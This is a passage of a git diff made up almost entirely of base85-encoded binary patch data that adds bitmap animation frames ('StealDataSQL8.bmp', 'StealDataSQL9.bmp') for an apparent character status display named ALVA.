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 KOgdk=@_zy0siRl` literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL8.bmp b/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL8.bmp new file mode 100644 index 0000000000000000000000000000000000000000..b68803ad8ce1bbc8dceca07f4140ba2d711b707a GIT binary patch literal 18462 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 MMk$pkXDX`y1>|%o=Kufz literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL9.bmp b/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL9.bmp new file mode 100644 index 0000000000000000000000000000000000000000..13eaf41032aae5998046ee299b9ec66bc2182c67 GIT binary patch literal 18462 zcmd^_2V4|a*Z;AhC?LIeSeCl%E?Z}N?}grrViy}0L}|NA5fn=-VDBXfmc(unA8Ra0 zRO}j~Xl$_{h$uza|Cz-YpS*b!#pHQE&*wj%!*FNj&YknUzjN-rv%7qim(KwjoR={ojr8+eIdm#bk2cvF=0IGnr8B zcQ-;)zin&|hsoivKEhiwGvog^+uy_5Wi)mfyV{NI&0Q}aziz(M(fDIW!{xTe7utR~ z)BekMZ4Xbkf;~9d_TWV8gKuBm2RrfV9=dP6fAZCXQ>_nAwLSd4^_O$4kI%O^TyAf? z(b4>K=c^}O9WRVs9cbgIeeBj#)~?R>j#mw>&whG!|5S7Rf#&PmnlEp9esOKn`4x?I zHI3)0!JeJ1es-p&>0C`?-BQ%fEqh~Umo>g)&(QNVjZpcA8n^`tsKJ@@E1NE?Yr4F- z>H3c5TVKC?@ZGD%`i@tPU0ttxM%^RU_UHFr+}hW4dHu8V%bNh={IaIH6-}sXtA4fB zjptWAzqIz{)%DGn*EODB{ruvZCa?=8JHMvs-wi6fxV-M=m32^|v2Inn*EE1X~51Xc(AvHIEh)o|(MwGFraweZT`s%Pg`w_V=| zm!LwUsluCHfyUA90rX{!XBITw+~0$k{%}@Eo%ZLqn{V!Jy0oG30(AZI=NDEy2T@U5 z_58x>=8J1Up-rV@#6F=+e;m^TJ0nGL=iBO6KW=Ebj4Iu76_pUI`SRMX=8K!{`Qt%{v*0} zKcuUxv*YEXwub93ADn8b|LVn$JDy+JgbI9qWyg(mpH_^gcn2?9v2owI%PT+sN=S}R zMOgQ~t!X&7^5LnPyT_~V9j|_HYAMKkW$#=GHZn>ua?_rp`_5c2l+CBQVh*h?e0_6c z{gJtMj?Zhmx%E~3UWi-B*Vbn@I$*%+0jBAep6L4fX90F+drN0)BXoCL<4+B@PRCG? z+^H+SIM`WUQa63v-bA4u)7MiGjMs#drGa=c1_ve$jEIV$2z*1Z{V|#91$h(p&#t_* z`)GSc;`E%9_)~k=#xc@|inDd&rriGVVvon8cYXakSl?|A%I8j=iL?t6U=yhJ>`2QX z`rtsWYp5)MCih2_0Spb6sR?4jUX5ic0uZ@BUFt_=I|Wm%F~mW^bY~$aAWDeAC(5V9 